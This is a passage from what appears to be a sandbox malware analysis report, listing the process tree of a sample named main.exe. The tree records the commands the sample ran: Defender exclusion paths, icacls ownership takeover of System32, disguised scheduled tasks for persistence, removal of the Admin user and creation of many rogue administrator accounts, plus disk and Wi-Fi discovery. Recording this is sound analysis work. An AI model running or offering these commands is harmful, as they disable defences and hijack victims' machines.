    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Documents'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Pictures'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Videos'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32" /setowner "C:\Users\Admin\AppData\Local\Temp\main.exe" /T"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32" /setowner "C:\Users\Admin\AppData\Local\Temp\main.exe" /T
      4⤵
      Modifies file permissions
      PID:2040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "antirestart" /tr "C:\Users\Admin\AppData\Roaming\MEMZ0.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:388
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "antirestart" /tr "C:\Users\Admin\AppData\Roaming\MEMZ0.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\Downloads" /setowner "C:\Users\Admin\AppData\Local\Temp\main.exe" /T"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:476
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Downloads" /setowner "C:\Users\Admin\AppData\Local\Temp\main.exe" /T
      4⤵
      Modifies file permissions
      PID:3280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Admin /delete"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Admin /delete
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2952
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Admin /delete
        5⤵
        
        PID:3944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\Documents" /setowner "C:\Users\Admin\AppData\Local\Temp\main.exe" /T"
    3⤵
    PID:4580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Documents" /setowner "C:\Users\Admin\AppData\Local\Temp\main.exe" /T
      4⤵
      Modifies file permissions
      PID:3928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$task=Get-ScheduledTask -TaskName \"OneDriveSYSTEM\" $settings=$task.Settings $settings.StartWhenAvailable=$true $settings.StopIfGoingOnBatteries=$false $settings.ExecutionTimeLimit=\"PT0S\" Set-ScheduledTask -TaskName \"OneDriveSYSTEM\" -Settings $settings"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Music'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Ç°Ú°Ç¦Ä s2dJRDcNUX /add"
    3⤵
    PID:2848
  - - C:\Windows\system32\net.exe
      net user Ç°Ú°Ç¦Ä s2dJRDcNUX /add
      4⤵
      PID:4164
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Ç°Ú°Ç¦Ä s2dJRDcNUX /add
        5⤵
        
        PID:3016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin" /setowner "C:\Users\Admin\AppData\Local\Temp\main.exe" /T"
    3⤵
    PID:2000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin" /setowner "C:\Users\Admin\AppData\Local\Temp\main.exe" /T
      4⤵
      Modifies file permissions
      PID:5060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\LocalLow'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Ç°Ú°Ç¦Ä /add"
    3⤵
    PID:3564
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Ç°Ú°Ç¦Ä /add
      4⤵
      PID:3400
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Ç°Ú°Ç¦Ä /add
        5⤵
        
        PID:900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators "Admin" /delete"
    3⤵
    PID:4876
  - - C:\Windows\system32\net.exe
      net localgroup Administrators "Admin" /delete
      4⤵
      PID:3228
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "Admin" /delete
        5⤵
        
        PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user þ«èþèÞÞ 4WokStTmOW /add"
    3⤵
    PID:1412
  - - C:\Windows\system32\net.exe
      net user þ«èþèÞÞ 4WokStTmOW /add
      4⤵
      PID:2312
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user þ«èþèÞÞ 4WokStTmOW /add
        5⤵
        
        PID:2536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3148
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    PID:1440
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators þ«èþèÞÞ /add"
    3⤵
    PID:2944
  - - C:\Windows\system32\net.exe
      net localgroup Administrators þ«èþèÞÞ /add
      4⤵
      PID:836
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators þ«èþèÞÞ /add
        5⤵
        
        PID:2920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f"
    3⤵
    PID:3948
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ýùëëýëÁ t0waTJkjUf /add"
    3⤵
    PID:3692
  - - C:\Windows\system32\net.exe
      net user ýùëëýëÁ t0waTJkjUf /add
      4⤵
      PID:2332
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ýùëëýëÁ t0waTJkjUf /add
        5⤵
        
        PID:3048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\main.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ýùëëýëÁ /add"
    3⤵
    PID:1700
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ýùëëýëÁ /add
      4⤵
      PID:1388
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ýùëëýëÁ /add
        5⤵
        
        PID:2440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\exclusion_folder'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user «ÿ¼¼ãã¼ 0wupEJyVBC /add"
    3⤵
    PID:3580
  - - C:\Windows\system32\net.exe
      net user «ÿ¼¼ãã¼ 0wupEJyVBC /add
      4⤵
      PID:3880
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user «ÿ¼¼ãã¼ 0wupEJyVBC /add
        5⤵
        
        PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators «ÿ¼¼ãã¼ /add"
    3⤵
    PID:392
  - - C:\Windows\system32\net.exe
      net localgroup Administrators «ÿ¼¼ãã¼ /add
      4⤵
      PID:3344
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators «ÿ¼¼ãã¼ /add
        5⤵
        
        PID:1504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÉÉÉ½ zQoGH3yue4 /add"
    3⤵
    PID:4360
  - - C:\Windows\system32\net.exe
      net user ÉÉÉ½ zQoGH3yue4 /add
      4⤵
      PID:736
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÉÉÉ½ zQoGH3yue4 /add
        5⤵
        
        PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÉÉÉ½ /add"
    3⤵
    PID:3928
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÉÉÉ½ /add
      4⤵
      PID:3940
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÉÉÉ½ /add
        5⤵
        
        PID:3892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user üüÆ£ eCKungPQAn /add"
    3⤵
    PID:3460
  - - C:\Windows\system32\net.exe
      net user üüÆ£ eCKungPQAn /add
      4⤵
      PID:4924
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user üüÆ£ eCKungPQAn /add
        5⤵
        
        PID:2492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators üüÆ£ /add"
    3⤵
    PID:4940
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2952
  - - C:\Windows\system32\net.exe
      net localgroup Administrators üüÆ£ /add
      4⤵
      PID:4832
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators üüÆ£ /add
        5⤵
        
        PID:3956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ··Ø· A0y1FtQw6D /add"
    3⤵
    PID:3200
  - - C:\Windows\system32\net.exe
      net user ··Ø· A0y1FtQw6D /add
      4⤵
      PID:3376
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ··Ø· A0y1FtQw6D /add
        5⤵
        
        PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ··Ø· /add"
    3⤵
    PID:2836
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ··Ø· /add
      4⤵
      PID:2232
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ··Ø· /add
        5⤵
        
        PID:1660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ø ÒøÒø jHRSCMdayk /add"
    3⤵
    PID:2960
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4936
  - - C:\Windows\system32\net.exe
      net user ø ÒøÒø jHRSCMdayk /add
      4⤵
      PID:2936
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ø ÒøÒø jHRSCMdayk /add
        5⤵
        
        PID:4636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ø ÒøÒø /add"
    3⤵
    PID:3196
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ø ÒøÒø /add
      4⤵
      PID:3972
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ø ÒøÒø /add
        5⤵
        
        PID:1876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¯¸ýÝý 8IWBOhqTqO /add"
    3⤵
    PID:3516
  - - C:\Windows\system32\net.exe
      net user ¯¸ýÝý 8IWBOhqTqO /add
      4⤵
      PID:1976
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¯¸ýÝý 8IWBOhqTqO /add
        5⤵
        
        PID:4504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¯¸ýÝý /add"
    3⤵
    PID:1416
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¯¸ýÝý /add
      4⤵
      PID:5036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¯¸ýÝý /add
        5⤵
        
        PID:1352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÂÂÓñÂß 04HjfweZpm /add"
    3⤵
    PID:3428
  - - C:\Windows\system32\net.exe
      net user ÂÂÓñÂß 04HjfweZpm /add
      4⤵
      PID:3656
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÂÂÓñÂß 04HjfweZpm /add
        5⤵
        
        PID:900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÂÂÓñÂß /add"
    3⤵
    PID:2528
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÂÂÓñÂß /add
      4⤵
      PID:1828
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÂÂÓñÂß /add
        5⤵
        
        PID:3976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÁÁ¾ýù¾ jFZrvXAFnc /add"
    3⤵
    PID:2164
  - - C:\Windows\system32\net.exe
      net user ÁÁ¾ýù¾ jFZrvXAFnc /add
      4⤵
      PID:4768
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÁÁ¾ýù¾ jFZrvXAFnc /add
        5⤵
        
        PID:700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÁÁ¾ýù¾ /add"
    3⤵
    PID:640
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÁÁ¾ýù¾ /add
      4⤵
      PID:3164
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÁÁ¾ýù¾ /add
        5⤵
        
        PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Á¿Á¿Û¥Á WeIeD5vIzE /add"
    3⤵
    PID:2004
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4876
  - - C:\Windows\system32\net.exe
      net user Á¿Á¿Û¥Á WeIeD5vIzE /add
      4⤵
      PID:3004
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Á¿Á¿Û¥Á WeIeD5vIzE /add
        5⤵
        
        PID:1700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk get name"
    3⤵
    PID:4868
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get name
      4⤵
      PID:2504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Á¿Á¿Û¥Á /add"
    3⤵
    PID:4228
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Á¿Á¿Û¥Á /add
      4⤵
      PID:4984
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Á¿Á¿Û¥Á /add
        5⤵
        
        PID:552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk where name='C:' get size"
    3⤵
    PID:1696
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where name='C:' get size
      4⤵
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user °ÉÉ°ççÞ GG99OeomzD /add"
    3⤵
    PID:1972
  - - C:\Windows\system32\net.exe
      net user °ÉÉ°ççÞ GG99OeomzD /add
      4⤵
      PID:2176
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user °ÉÉ°ççÞ GG99OeomzD /add
        5⤵
        
        PID:4772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk where name='C:' get freespace"
    3⤵
    PID:2092
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where name='C:' get freespace
      4⤵
      PID:4724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators °ÉÉ°ççÞ /add"
    3⤵
    PID:228
  - - C:\Windows\system32\net.exe
      net localgroup Administrators °ÉÉ°ççÞ /add
      4⤵
      PID:3284
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators °ÉÉ°ççÞ /add
        5⤵
        
        PID:3580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ©ýý©ÂË sPQJvyxE2w /add"
    3⤵
    PID:4716
  - - C:\Windows\system32\net.exe
      net user ©ýý©ÂË sPQJvyxE2w /add
      4⤵
      PID:1112
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ©ýý©ÂË sPQJvyxE2w /add
        5⤵
        
        PID:1412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk where name='D:' get size"
    3⤵
    PID:3900
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:392
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where name='D:' get size
      4⤵
      PID:476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ©ýý©ÂË /add"
    3⤵
    PID:4360
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ©ýý©ÂË /add
      4⤵
      PID:3940
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ©ýý©ÂË /add
        5⤵
        
        PID:248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2392
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¾áöö¾áá rYCOX12fAk /add"
    3⤵
    PID:1236
  - - C:\Windows\system32\net.exe
      net user ¾áöö¾áá rYCOX12fAk /add
      4⤵
      PID:4732
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¾áöö¾áá rYCOX12fAk /add
        5⤵
        
        PID:2944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¾áöö¾áá /add"
    3⤵
    PID:856
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¾áöö¾áá /add
      4⤵
      PID:4908
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¾áöö¾áá /add
        5⤵
        
        PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¼ Ì ² NFzLdZVroj /add"
    3⤵
    PID:3332
  - - C:\Windows\system32\net.exe
      net user ¼ Ì ² NFzLdZVroj /add
      4⤵
      PID:4028
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¼ Ì ² NFzLdZVroj /add
        5⤵
        
        PID:2232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¼ Ì ² /add"
    3⤵
    PID:4052
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¼ Ì ² /add
      4⤵
      PID:1992
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¼ Ì ² /add
        5⤵
        
        PID:2448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Åû qxpbw0fKBc /add"
    3⤵
    PID:1348
  - - C:\Windows\system32\net.exe
      net user Åû qxpbw0fKBc /add
      4⤵
      PID:2328
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Åû qxpbw0fKBc /add
        5⤵
        
        PID:3128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Åû /add"
    3⤵
    PID:1868
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Åû /add
      4⤵
      PID:4504
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Åû /add
        5⤵
        
        PID:1976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÔÔ cmuPL6htnZ /add"
    3⤵
    PID:1516
  - - C:\Windows\system32\net.exe
      net user ÔÔ cmuPL6htnZ /add
      4⤵
      PID:4620
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÔÔ cmuPL6htnZ /add
        5⤵
        
        PID:3064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÔÔ /add"
    3⤵
    PID:4656
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÔÔ /add
      4⤵
      PID:2120
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÔÔ /add
        5⤵
        
        PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ëôûëûë ae4Ic7gOpx /add"
    3⤵
    PID:4992
  - - C:\Windows\system32\net.exe
      net user ëôûëûë ae4Ic7gOpx /add
      4⤵
      PID:4316
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ëôûëûë ae4Ic7gOpx /add
        5⤵
        
        PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ëôûëûë /add"
    3⤵
    PID:1604
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ëôûëûë /add
      4⤵
      PID:1960
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ëôûëûë /add
        5⤵
        
        PID:664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ×ÑÔÑ 7EwJse3hRG /add"
    3⤵
    PID:2164
  - - C:\Windows\system32\net.exe
      net user ×ÑÔÑ 7EwJse3hRG /add
      4⤵
      PID:2812
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ×ÑÔÑ 7EwJse3hRG /add
        5⤵
        
        PID:828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ×ÑÔÑ /add"
    3⤵
    PID:640
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ×ÑÔÑ /add
      4⤵
      PID:2340
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ×ÑÔÑ /add
        5⤵
        
        PID:780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¡¡ 85O2haXEWY /add"
    3⤵
    PID:2004
  - - C:\Windows\system32\net.exe
      net user ¡¡ 85O2haXEWY /add
      4⤵
      PID:4676
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¡¡ 85O2haXEWY /add
        5⤵
        
        PID:348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¡¡ /add"
    3⤵
    PID:3392
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¡¡ /add
      4⤵
      PID:1432
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¡¡ /add
        5⤵
        
        PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ëâ· 1oj2gqHfh6 /add"
    3⤵
    PID:4228
  - - C:\Windows\system32\net.exe
      net user ëâ· 1oj2gqHfh6 /add
      4⤵
      PID:3140
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ëâ· 1oj2gqHfh6 /add
        5⤵
        
        PID:3276
- - C:\Windows\system32\cmd.exe
